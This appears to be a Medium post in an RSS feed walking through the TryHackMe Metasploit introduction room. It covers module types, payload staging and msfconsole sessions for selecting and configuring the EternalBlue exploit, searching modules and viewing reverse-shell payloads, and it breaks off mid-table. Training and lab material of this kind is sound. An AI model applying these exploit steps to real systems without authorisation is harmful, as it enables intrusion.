<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Chamithsandaru on Medium]]></title>
        <description><![CDATA[Stories by Chamithsandaru on Medium]]></description>
        <link>https://medium.com/@chamithsandaru14?source=rss-31986af0c964------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*QemidIy7FL4sc8Ab</url>
            <title>Stories by Chamithsandaru on Medium</title>
            <link>https://medium.com/@chamithsandaru14?source=rss-31986af0c964------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 18:39:56 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@chamithsandaru14/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackme -Metasploit: Introduction]]></title>
            <link>https://medium.com/@chamithsandaru14/metasploit-introduction-f707f6c8cfee?source=rss-31986af0c964------2</link>
            <guid isPermaLink="false">https://medium.com/p/f707f6c8cfee</guid>
            <dc:creator><![CDATA[Chamithsandaru]]></dc:creator>
            <pubDate>Fri, 23 Jun 2023 08:57:09 GMT</pubDate>
            <atom:updated>2023-06-23T08:58:06.309Z</atom:updated>
            <content:encoded><![CDATA[<h3>How to install Metasploit on Kali Linux</h3><p><a href="https://www.kali.org/docs/tools/starting-metasploit-framework-in-kali/">Metasploit Framework | Kali Linux Documentation</a></p><p><strong><em>You can even take it one step further by doing </em></strong><em>sudo msfdb run</em><strong><em> and it will do the same as the above, as well as start </em></strong><em>msfconsole</em><strong><em> afterwards</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*xegyUseNYKW9kVtVIOuv_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*hZJJ3msbNnRtc1L_Uc4AAg.png" /></figure><p><strong>Task 1 Introduction to Metasploit</strong></p><p>Metasploit is the most widely used exploitation framework. Metasploit is a powerful tool that can support all phases of a penetration testing engagement, from information gathering to post-exploitation.</p><p>Metasploit has two main versions:</p><ul><li><strong>Metasploit Pro</strong>: The commercial version that facilitates the automation and management of tasks. This version has a graphical user interface (GUI).</li><li><strong>Metasploit Framework</strong>: The open-source version that works from the command line. This room will focus on this version, installed on the AttackBox and most commonly used penetration testing Linux distributions.</li></ul><p>The Metasploit Framework is a set of tools that allow information gathering, scanning, exploitation, exploit development, post-exploitation, and more. While the primary usage of the Metasploit Framework focuses on the penetration testing domain, it is also useful for vulnerability research and exploit development.</p><p>The main components of the Metasploit Framework can be summarized as follows;</p><ul><li><strong>msfconsole</strong>: The main command-line interface.</li><li><strong>Modules</strong>: supporting modules such as exploits, scanners, payloads, etc.</li><li><strong>Tools</strong>: Stand-alone tools that will help vulnerability research, vulnerability assessment, or penetration testing. Some of these tools are msfvenom, pattern_create and pattern_offset. We will cover msfvenom within this module, but pattern_create and pattern_offset are tools useful in exploit development which is beyond the scope of this module.</li></ul><p>This room will cover the main components of Metasploit while providing you with a solid foundation on how to find relevant exploits, set parameters, and exploit vulnerable services on the target system. Once you have completed this room, you will be able to navigate and use the Metasploit command line comfortably.</p><p>You can deploy and use the AttackBox to complete tasks and answer the questions.</p><p><strong>Task 2 Main Components of Metasploit</strong></p><p>While using the Metasploit Framework, you will primarily interact with the Metasploit console. You can launch it from the AttackBox terminal using the msfconsole command. The console will be your main interface to interact with the different modules of the Metasploit Framework. Modules are small components within the Metasploit framework that are built to perform a specific task, such as exploiting a vulnerability, scanning a target, or performing a brute-force attack.</p><p>Before diving into modules, it would be helpful to clarify a few recurring concepts: vulnerability, exploit, and payload.</p><ul><li><strong>Exploit:</strong> A piece of code that uses a vulnerability present on the target system.</li><li><strong>Vulnerability:</strong> A design, coding, or logic flaw affecting the target system. The exploitation of a vulnerability can result in disclosing confidential information or allowing the attacker to execute code on the target system.</li><li><strong>Payload:</strong> An exploit will take advantage of a vulnerability. However, if we want the exploit to have the result we want (gaining access to the target system, read confidential information, etc.), we need to use a payload. Payloads are the code that will run on the target system.</li></ul><p>Modules and categories under each one are listed below. These are given for reference purposes, but you will interact with them through the Metasploit console (msfconsole).</p><p>Auxiliary</p><p>Any supporting module, such as scanners, crawlers and fuzzers, can be found here.</p><p>Terminal</p><pre>root@ip-10-10-135-188:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 auxiliary/<br>auxiliary/<br>├── admin<br>├── analyze<br>├── bnat<br>├── client<br>├── cloud<br>├── crawler<br>├── docx<br>├── dos<br>├── example.py<br>├── example.rb<br>├── fileformat<br>├── fuzzers<br>├── gather<br>├── parser<br>├── pdf<br>├── scanner<br>├── server<br>├── sniffer<br>├── spoof<br>├── sqli<br>├── voip<br>└── vsploit</pre><pre>20 directories, 2 files</pre><p>Encoders</p><p>Encoders will allow you to encode the exploit and payload in the hope that a signature-based antivirus solution may miss them.</p><p>Signature-based antivirus and security solutions have a database of known threats. They detect threats by comparing suspicious files to this database and raise an alert if there is a match. Thus encoders can have a limited success rate as antivirus solutions can perform additional checks.</p><p>Terminal</p><pre>root@ip-10-10-135-188:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 encoders/<br>encoders/<br>├── cmd<br>├── generic<br>├── mipsbe<br>├── mipsle<br>├── php<br>├── ppc<br>├── ruby<br>├── sparc<br>├── x64<br>└── x86</pre><pre>10 directories, 0 files</pre><p>Evasion</p><p>While encoders will encode the payload, they should not be considered a direct attempt to evade antivirus software. On the other hand, “evasion” modules will try that, with more or less success.</p><p>Terminal</p><pre>root@ip-10-10-135-188:/opt/metasploit-framework/embedded/framework/modules# tree -L 2 evasion/<br>evasion/<br>└── windows<br>    ├── applocker_evasion_install_util.rb<br>    ├── applocker_evasion_msbuild.rb<br>    ├── applocker_evasion_presentationhost.rb<br>    ├── applocker_evasion_regasm_regsvcs.rb<br>    ├── applocker_evasion_workflow_compiler.rb<br>    ├── process_herpaderping.rb<br>    ├── syscall_inject.rb<br>    ├── windows_defender_exe.rb<br>    └── windows_defender_js_hta.rb</pre><pre>1 directory, 9 files</pre><p>Exploits</p><p>Exploits, neatly organized by target system.</p><p>Terminal</p><pre>root@ip-10-10-135-188:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 exploits/<br>exploits/<br>├── aix<br>├── android<br>├── apple_ios<br>├── bsd<br>├── bsdi<br>├── dialup<br>├── example_linux_priv_esc.rb<br>├── example.py<br>├── example.rb<br>├── example_webapp.rb<br>├── firefox<br>├── freebsd<br>├── hpux<br>├── irix<br>├── linux<br>├── mainframe<br>├── multi<br>├── netware<br>├── openbsd<br>├── osx<br>├── qnx<br>├── solaris<br>├── unix<br>└── windows</pre><pre>20 directories, 4 files</pre><p>NOPs</p><p>NOPs (No OPeration) do nothing, literally. They are represented in the Intel x86 CPU family they are represented with 0x90, following which the CPU will do nothing for one cycle. They are often used as a buffer to achieve consistent payload sizes.</p><p>Terminal</p><pre>root@ip-10-10-135-188:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 nops/<br>nops/<br>├── aarch64<br>├── armle<br>├── cmd<br>├── mipsbe<br>├── php<br>├── ppc<br>├── sparc<br>├── tty<br>├── x64<br>└── x86</pre><pre>10 directories, 0 files</pre><p>Payloads</p><p>Payloads are codes that will run on the target system.</p><p>Exploits will leverage a vulnerability on the target system, but to achieve the desired result, we will need a payload. Examples could be; getting a shell, loading a malware or backdoor to the target system, running a command, or launching calc.exe as a proof of concept to add to the penetration test report. Starting the calculator on the target system remotely by launching the calc.exe application is a benign way to show that we can run commands on the target system.</p><p>Running command on the target system is already an important step but having an interactive connection that allows you to type commands that will be executed on the target system is better. Such an interactive command line is called a “shell”. Metasploit offers the ability to send different payloads that can open shells on the target system.</p><p>Terminal</p><pre>root@ip-10-10-135-188:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 payloads/<br>payloads/<br>├── adapters<br>├── singles<br>├── stagers<br>└── stages</pre><pre>4 directories, 0 files</pre><p>You will see four different directories under payloads: adapters, singles, stagers and stages.</p><ul><li><strong>Adapters:</strong> An adapter wraps single payloads to convert them into different formats. For example, a normal single payload can be wrapped inside a Powershell adapter, which will make a single powershell command that will execute the payload.</li><li><strong>Singles:</strong> Self-contained payloads (add user, launch notepad.exe, etc.) that do not need to download an additional component to run.</li><li><strong>Stagers:</strong> Responsible for setting up a connection channel between Metasploit and the target system. Useful when working with staged payloads. “Staged payloads” will first upload a stager on the target system then download the rest of the payload (stage). This provides some advantages as the initial size of the payload will be relatively small compared to the full payload sent at once.</li><li><strong>Stages: </strong>Downloaded by the stager. This will allow you to use larger sized payloads.</li></ul><p>Metasploit has a subtle way to help you identify single (also called “inline”) payloads and staged payloads.</p><ul><li>generic/shell_reverse_tcp</li><li>windows/x64/shell/reverse_tcp</li></ul><p>Both are reverse Windows shells. The former is an inline (or single) payload, as indicated by the “_” between “shell” and “reverse”. While the latter is a staged payload, as indicated by the “/” between “shell” and “reverse”.</p><p>Post</p><p>Post modules will be useful on the final stage of the penetration testing process listed above, post-exploitation.</p><p>Terminal</p><pre>root@ip-10-10-135-188:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 post/<br>post/<br>├── aix<br>├── android<br>├── apple_ios<br>├── bsd<br>├── firefox<br>├── hardware<br>├── linux<br>├── multi<br>├── networking<br>├── osx<br>├── solaris<br>└── windows</pre><pre>12 directories, 0 files</pre><p>If you wish to familiarize yourself further with these modules, you can find them under the modules folder of your Metasploit installation. For the AttackBox these are under /opt/metasploit-framework/embedded/framework/modules</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*4KmtkHkx1VDuIEGxeGtktw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*JNRFs0GjJ1zBSj-c_xJ3zg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*GKIYvzF-9rQE5pM6KL-GPQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*_OwQbUVygbHyVLCBmgDYAQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*WjWJ8zj3Py97rxWmHilF9Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*1M6JWd63SKj-4OJDX7evtg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*e1KffowTl5-7xgj5DOe0xQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*boftGjQLOsNlf1_YfVAXyw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-DPENYb-8oDlFq2Ls4UrmA.png" /></figure><p><strong>Task 3 Msfconsole</strong></p><p>As previously mentioned, the console will be your main interface to the Metasploit Framework. You can launch it using the msfconsole command on your AttackBox terminal or any system the Metasploit Framework is installed on.</p><p>msfconsole</p><pre>root@ip-10-10-220-191:~# msfconsole <br>                                                  </pre><pre>                 _---------.<br>             .&#39; #######   ;.&quot;<br>  .---,.    ;@             @@`;   .---,..<br>.&quot; @@@@@&#39;.,&#39;@@            @@@@@&#39;,.&#39;@@@@ &quot;.<br>&#39;-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;<br>   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .&#39;<br>     &quot;--&#39;.@@@  -.@        @ ,&#39;-   .&#39;--&quot;<br>          &quot;.@&#39; ; @       @ `.  ;&#39;<br>            |@@@@ @@@     @    .<br>             &#39; @@@ @@   @@    ,<br>              `.@@@@    @@   .<br>                &#39;,@@     @   ;           _____________<br>                 (   3 C    )     /|___ / Metasploit! \<br>                 ;@&#39;. __*__,.&quot;    \|--- \_____________/<br>                  &#39;(.,....&quot;/<br></pre><pre>       =[ metasploit v6.0                         ]<br>+ -- --=[ 2048 exploits - 1105 auxiliary - 344 post       ]<br>+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]<br>+ -- --=[ 7 evasion                                       ]</pre><pre>Metasploit tip: Search can apply complex filters such as search cve:2009 type:exploit, see all the filters with help search</pre><pre>msf6 &gt;</pre><p>Once launched, you will see the command line changes to msf6 (or msf5 depending on the installed version of Metasploit). The Metasploit console (msfconsole) can be used just like a regular command-line shell, as you can see below. The first command is ls which lists the contents of the folder from which Metasploit was launched using the msfconsole command.</p><p>It is followed by a ping sent to Google&#39;s DNS IP address (8.8.8.8). As we operate from the AttackBox, which is Linux we had to add the -c 1 option, so only a single ping was sent. Otherwise, the ping process would continue until it is stopped using CTRL+C.</p><p>Linux Commands in Metasploit</p><pre>msf6 &gt; ls<br>[*] exec: ls</pre><pre>burpsuite_community_linux_v2021_8_1.sh	Instructions  Scripts<br>Desktop					Pictures      thinclient_drives<br>Downloads				Postman       Tools<br>msf6 &gt; ping -c 1 8.8.8.8<br>[*] exec: ping -c 1 8.8.8.8</pre><pre>PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.<br>64 bytes from 8.8.8.8: icmp_seq=1 ttl=109 time=1.33 ms</pre><pre>--- 8.8.8.8 ping statistics ---<br>1 packets transmitted, 1 received, 0% packet loss, time 0ms<br>rtt min/avg/max/mdev = 1.335/1.335/1.335/0.000 ms<br>msf6 &gt;</pre><p>It will support most Linux commands, including clear (to clear the terminal screen), but will not allow you to use some features of a regular command line (e.g. does not support output redirection), as seen below.</p><p>Failed Output Redirection</p><pre>msf6 &gt; help &gt; help.txt<br>[-] No such command<br>msf6 &gt;</pre><p>While on the subject, the help command can be used on its own or for a specific command. Below is the help menu for the set command we will cover soon.</p><p>Help feature</p><pre>msf6 &gt; help set<br>Usage: set [option] [value]</pre><pre>Set the given option to value.  If value is omitted, print the current value.<br>If both are omitted, print options that are currently set.</pre><pre>If run from a module context, this will set the value in the module&#39;s<br>datastore.  Use -g to operate on the global datastore.</pre><pre>If setting a PAYLOAD, this command can take an index from `show payloads&#39;.</pre><pre>msf6 &gt;</pre><p>You can use the history command to see commands you have typed earlier.</p><p>History command</p><pre>msf6 &gt; history<br>1  use exploit/multi/http/nostromo_code_exec<br>2  set lhost 10.10.16.17<br>3  set rport 80<br>4  options<br>5  set rhosts 10.10.29.187<br>6  run<br>7  exit<br>8  exit -y<br>9  version<br>10  use exploit/multi/script/web_delivery</pre><p>An important feature of msfconsole is the support of tab completion. This will come in handy later when using Metasploit commands or dealing with modules. For example, if you start typing he and press the tab key, you will see it auto-completes to help.</p><p>Msfconsole is managed by context; this means that unless set as a global variable, all parameter settings will be lost if you change the module you have decided to use. In the example below, we have used the ms17_010_eternalblue exploit, and we have set parameters such as RHOSTS. If we were to switch to another module (e.g. a port scanner), we would need to set the RHOSTS value again as all changes we have made remained in the context of the ms17_010_eternalblue exploit.</p><p>Let us look at the example below to have a better understanding of this feature. We will use the MS17–010 “Eternalblue” exploit for illustration purposes.</p><p>Once you type the use exploit/windows/smb/ms17_010_eternalblue command, you will see the command line prompt change from msf6 to “msf6 exploit(windows/smb/ms17_010_eternalblue)”. The &quot;EternalBlue&quot; is an exploit allegedly developed by the U.S. National Security Agency (N.S.A.) for a vulnerability affecting the SMBv1 server on numerous Windows systems. The SMB (Server Message Block) is widely used in Windows networks for file sharing and even for sending files to printers. EternalBlue was leaked by the cybercriminal group &quot;Shadow Brokers&quot; in April 2017. In May 2017, this vulnerability was exploited worldwide in the WannaCry ransomware attack.</p><p>Using an exploit</p><pre>msf6 &gt; use exploit/windows/smb/ms17_010_eternalblue <br>[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</pre><p>The module to be used can also be selected with the use command followed by the number at the beginning of the search result line.</p><p>While the prompt has changed, you will notice we can still run the commands previously mentioned. This means we did not “enter” a folder as you would typically expect in an operating system command line.</p><p>Linux commands within a context</p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; ls<br>[*] exec: ls</pre><pre>burpsuite_community_linux_v2021_8_1.sh	Instructions  Scripts<br>Desktop					Pictures      thinclient_drives<br>Downloads				Postman       Tools<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</pre><p>The prompt tells us we now have a context set in which we will work. You can see this by typing the show options command.</p><p>Show options</p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; show options</pre><pre>Module options (exploit/windows/smb/ms17_010_eternalblue):</pre><pre>   Name           Current Setting  Required  Description<br>   ----           ---------------  --------  -----------<br>   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax &#39;file:&#39;<br>   RPORT          445              yes       The target port (TCP)<br>   SMBDomain      .                no        (Optional) The Windows domain to use for authentication<br>   SMBPass                         no        (Optional) The password for the specified username<br>   SMBUser                         no        (Optional) The username to authenticate as<br>   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.<br>   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.<br></pre><pre>Payload options (windows/x64/meterpreter/reverse_tcp):</pre><pre>   Name      Current Setting  Required  Description<br>   ----      ---------------  --------  -----------<br>   EXITFUNC  thread           yes       Exit technique (Accepted: &#39;&#39;, seh, thread, process, none)<br>   LHOST     10.10.220.191    yes       The listen address (an interface may be specified)<br>   LPORT     4444             yes       The listen port<br></pre><pre>Exploit target:</pre><pre>   Id  Name<br>   --  ----<br>   0   Windows 7 and Server 2008 R2 (x64) All Service Packs<br></pre><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</pre><p>This will print options related to the exploit we have chosen earlier. The show options command will have different outputs depending on the context it is used in. The example above shows that this exploit will require we set variables like RHOSTS and RPORT. On the other hand, a post-exploitation module may only need us to set a SESSION ID (see the screenshot below). A session is an existing connection to the target system that the post-exploitation module will use.</p><p>Options for a post-exploitation module</p><pre>msf6 post(windows/gather/enum_domain_users) &gt; show options</pre><pre>Module options (post/windows/gather/enum_domain_users):</pre><pre>   Name     Current Setting  Required  Description<br>   ----     ---------------  --------  -----------<br>   HOST                      no        Target a specific host<br>   SESSION                   yes       The session to run this module on.<br>   USER                      no        Target User for NetSessionEnum</pre><pre>msf6 post(windows/gather/enum_domain_users) &gt;</pre><p>The show command can be used in any context followed by a module type (auxiliary, payload, exploit, etc.) to list available modules. The example below lists payloads that can be used with the ms17-010 Eternalblue exploit.</p><p>The show payloads command</p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; show payloads</pre><pre>Compatible Payloads<br>===================</pre><pre>   #   Name                                        Disclosure Date  Rank    Check  Description<br>   -   ----                                        ---------------  ----    -----  -----------<br>   0   generic/custom                                               manual  No     Custom Payload<br>   1   generic/shell_bind_tcp                                       manual  No     Generic Command Shell, Bind TCP Inline<br>   2   generic/shell_reverse_tcp                                    manual  No     Generic Command Shell, Reverse TCP Inline<br>   3   windows/x64/exec                                             manual  No     Windows x64 Execute Command<br>   4   windows/x64/loadlibrary                                      manual  No     Windows x64 LoadLibrary Path<br>   5   windows/x64/messagebox                                       manual  No     Windows MessageBox x64<br>   6   windows/x64/meterpreter/bind_ipv6_tcp                        manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager<br>   7   windows/x64/meterpreter/bind_ipv6_tcp_uuid                   manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support</pre><p>If used from the msfconsole prompt, the show command will list all modules.</p><p>The use and show options commands we have seen so far are identical for all modules in Metasploit.</p><p>You can leave the context using the back command.</p><p>The back command</p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; back<br>msf6 &gt;</pre><p>Further information on any module can be obtained by typing the info command within its context.</p><p>The info command</p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; info</pre><pre>       Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption<br>     Module: exploit/windows/smb/ms17_010_eternalblue<br>   Platform: Windows<br>       Arch: <br> Privileged: Yes<br>    License: Metasploit Framework License (BSD)<br>       Rank: Average<br>  Disclosed: 2017-03-14</pre><pre>Provided by:<br>  Sean Dillon <br>  Dylan Davis <br>  Equation Group<br>  Shadow Brokers<br>  thelightcosine</pre><pre>Available targets:<br>  Id  Name<br>  --  ----<br>  0   Windows 7 and Server 2008 R2 (x64) All Service Packs</pre><pre>Check supported:<br>  Yes</pre><pre>Basic options:<br>  Name           Current Setting  Required  Description<br>  ----           ---------------  --------  -----------<br>  RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax &#39;file:&#39;<br>  RPORT          445              yes       The target port (TCP)<br>  SMBDomain      .                no        (Optional) The Windows domain to use for authentication<br>  SMBPass                         no        (Optional) The password for the specified username<br>  SMBUser                         no        (Optional) The username to authenticate as<br>  VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.<br>  VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.</pre><pre>Payload information:<br>  Space: 2000</pre><pre>Description:<br>  This module is a port of the Equation Group ETERNALBLUE exploit, <br>  part of the FuzzBunch toolkit released by Shadow Brokers. There is a <br>  buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is <br>  calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error <br>  where a DWORD is subtracted into a WORD. The kernel pool is groomed <br>  so that overflow is well laid-out to overwrite an SMBv1 buffer. <br>  Actual RIP hijack is later completed in <br>  srvnet!SrvNetWskReceiveComplete. This exploit, like the original may <br>  not trigger 100% of the time, and should be run continuously until <br>  triggered. It seems like the pool will get hot streaks and need a <br>  cool down period before the shells rain in again. The module will <br>  attempt to use Anonymous login, by default, to authenticate to <br>  perform the exploit. If the user supplies credentials in the <br>  SMBUser, SMBPass, and SMBDomain options it will use those instead. <br>  On some systems, this module may cause system instability and <br>  crashes, such as a BSOD or a reboot. This may be more likely with <br>  some payloads.</pre><pre>References:<br>  <a href="https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010">https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010</a><br>  <a href="https://cvedetails.com/cve/CVE-2017-0143/">https://cvedetails.com/cve/CVE-2017-0143/</a><br>  <a href="https://cvedetails.com/cve/CVE-2017-0144/">https://cvedetails.com/cve/CVE-2017-0144/</a><br>  <a href="https://cvedetails.com/cve/CVE-2017-0145/">https://cvedetails.com/cve/CVE-2017-0145/</a><br>  <a href="https://cvedetails.com/cve/CVE-2017-0146/">https://cvedetails.com/cve/CVE-2017-0146/</a><br>  <a href="https://cvedetails.com/cve/CVE-2017-0147/">https://cvedetails.com/cve/CVE-2017-0147/</a><br>  <a href="https://cvedetails.com/cve/CVE-2017-0148/">https://cvedetails.com/cve/CVE-2017-0148/</a><br>  <a href="https://github.com/RiskSense-Ops/MS17-010">https://github.com/RiskSense-Ops/MS17-010</a></pre><pre>Also known as:<br>  ETERNALBLUE</pre><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</pre><p>Alternatively, you can use the info command followed by the module’s path from the msfconsole prompt (e.g. info exploit/windows/smb/ms17_010_eternalblue). Info is not a help menu; it will display detailed information on the module such as its author, relevant sources, etc.</p><p><strong>Search</strong></p><p>One of the most useful commands in msfconsole is search. This command will search the Metasploit Framework database for modules relevant to the given search parameter. You can conduct searches using CVE numbers, exploit names (eternalblue, heartbleed, etc.), or target system.</p><p>The search command</p><pre>msf6 &gt; search ms17-010</pre><pre>Matching Modules<br>================</pre><pre>   #  Name                                      Disclosure Date  Rank     Check  Description<br>   -  ----                                      ---------------  ----     -----  -----------<br>   0  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution<br>   1  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection<br>   2  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption<br>   3  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution<br>   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution<br></pre><pre>Interact with a module by name or index, for example use 4 or use exploit/windows/smb/smb_doublepulsar_rce</pre><pre>msf6 &gt;</pre><p>The output of the search command provides an overview of each returned module. You may notice the “name” column already gives more information than just the module name. You can see the type of module (auxiliary, exploit, etc.) and the category of the module (scanner, admin, windows, Unix, etc.). You can use any module returned in a search result with the command use followed by the number at the beginning of the result line. (e.g. use 0 instead of use auxiliary/admin/smb/ms17_010_command)</p><p>Another essential piece of information returned is in the “rank” column. Exploits are rated based on their reliability. The table below provides their respective descriptions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/0*gH1JtZOO6sGGCjpl.png" /></figure><p>Source: <a href="https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking">https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking</a></p><p>You can direct the search function using keywords such as type and platform.</p><p>For example, if we wanted our search results to only include auxiliary modules, we could set the type to auxiliary. The screenshot below shows the output of the search type:auxiliary telnet command.</p><p>Search by module type</p><pre>msf6 &gt; search type:auxiliary telnet</pre><pre>Matching Modules<br>================</pre><pre>   #   Name                                                Disclosure Date  Rank    Check  Description<br>   -   ----                                                ---------------  ----    -----  -----------<br>   0   auxiliary/admin/http/dlink_dir_300_600_exec_noauth  2013-02-04       normal  No     D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution<br>   1   auxiliary/admin/http/netgear_r6700_pass_reset       2020-06-15       normal  Yes    Netgear R6700v3 Unauthenticated LAN Admin Password Reset<br>   2   auxiliary/dos/cisco/ios_telnet_rocem                2017-03-17       normal  No     Cisco IOS Telnet Denial of Service<br>   3   auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof        2010-12-21       normal  No     Microsoft IIS FTP Server Encoded Response Overflow Trigger<br>   4   auxiliary/scanner/ssh/juniper_backdoor              2015-12-20       normal  No     Juniper SSH Backdoor Scanner<br>   5   auxiliary/scanner/telnet/brocade_enable_login                        normal  No     Brocade Enable Login Check Scanner<br>   6   auxiliary/scanner/telnet/lantronix_telnet_password                   normal  No     Lantronix Telnet Password Recovery<br>   7   auxiliary/scanner/telnet/lantronix_telnet_version                    normal  No     Lantronix Telnet Service Banner Detection<br>   8   auxiliary/scanner/telnet/satel_cmd_exec             2017-04-07       normal  No     Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability<br>   9   auxiliary/scanner/telnet/telnet_encrypt_overflow                     normal  No     Telnet Service Encryption Key ID Overflow Detection<br>   10  auxiliary/scanner/telnet/telnet_login                                normal  No     Telnet Login Check Scanner<br>   11  auxiliary/scanner/telnet/telnet_ruggedcom                            normal  No     RuggedCom Telnet Password Generator<br>   12  auxiliary/scanner/telnet/telnet_version                              normal  No     Telnet Service Banner Detection<br>   13  auxiliary/server/capture/telnet                                      normal  No     Authentication Capture: Telnet<br></pre><pre>Interact with a module by name or index, for example use 13 or use auxiliary/server/capture/telnet</pre><pre>msf6 &gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MdYZwsD5lJmqbxtbbDBq4A.png" /></figure><p><strong>Task 4 Working with module</strong></p><p>Once you have entered the context of a module using the use command followed by the module name, as seen earlier, you will need to set parameters. The most common parameters you will use are listed below. Remember, based on the module you use, additional or different parameters may need to be set. It is good practice to use the show options command to list the required parameters.</p><p>All parameters are set using the same command syntax:<br>set PARAMETER_NAME VALUE</p><p>Before we proceed, remember always to check the msfconsole prompt to ensure you are in the right context. When dealing with Metasploit, you may see five different prompts:</p><ul><li><strong>The regular command prompt:</strong> You can not use Metasploit commands here.</li></ul><p>Regular command prompt</p><pre>root@ip-10-10-XX-XX:~#</pre><ul><li><strong>The msfconsole prompt:</strong> msf6 (or msf5 depending on your installed version) is the msfconsole prompt. As you can see, no context is set here, so context-specific commands to set parameters and run modules can not be used here.</li></ul><p>Metasploit command prompt</p><pre>msf6 &gt;</pre><ul><li><strong>A context prompt: </strong>Once you have decided to use a module and used the set command to chose it, the msfconsole will show the context. You can use context-specific commands (e.g. set RHOSTS 10.10.x.x) here.</li></ul><p>A context command prompt</p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</pre><ul><li><strong>The Meterpreter prompt:</strong> Meterpreter is an important payload we will see in detail later in this module. This means a Meterpreter agent was loaded to the target system and connected back to you. You can use Meterpreter specific commands here.</li></ul><p>A Meterpreter command prompt</p><pre>meterpreter &gt;</pre><ul><li><strong>A shell on the target system:</strong> Once the exploit is completed, you may have access to a command shell on the target system. This is a regular command line, and all commands typed here run on the target system.</li></ul><p>A Meterpreter command prompt</p><pre>C:\Windows\system32&gt;</pre><p>As mentioned earlier, the show options command will list all available parameters.</p><p>The show options command</p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; show options</pre><pre>Module options (exploit/windows/smb/ms17_010_eternalblue):</pre><pre>   Name           Current Setting  Required  Description<br>   ----           ---------------  --------  -----------<br>   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax &#39;file:&#39;<br>   RPORT          445              yes       The target port (TCP)<br>   SMBDomain      .                no        (Optional) The Windows domain to use for authentication<br>   SMBPass                         no        (Optional) The password for the specified username<br>   SMBUser                         no        (Optional) The username to authenticate as<br>   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.<br>   VERIFY_TARGET  true             yes       Check if remote 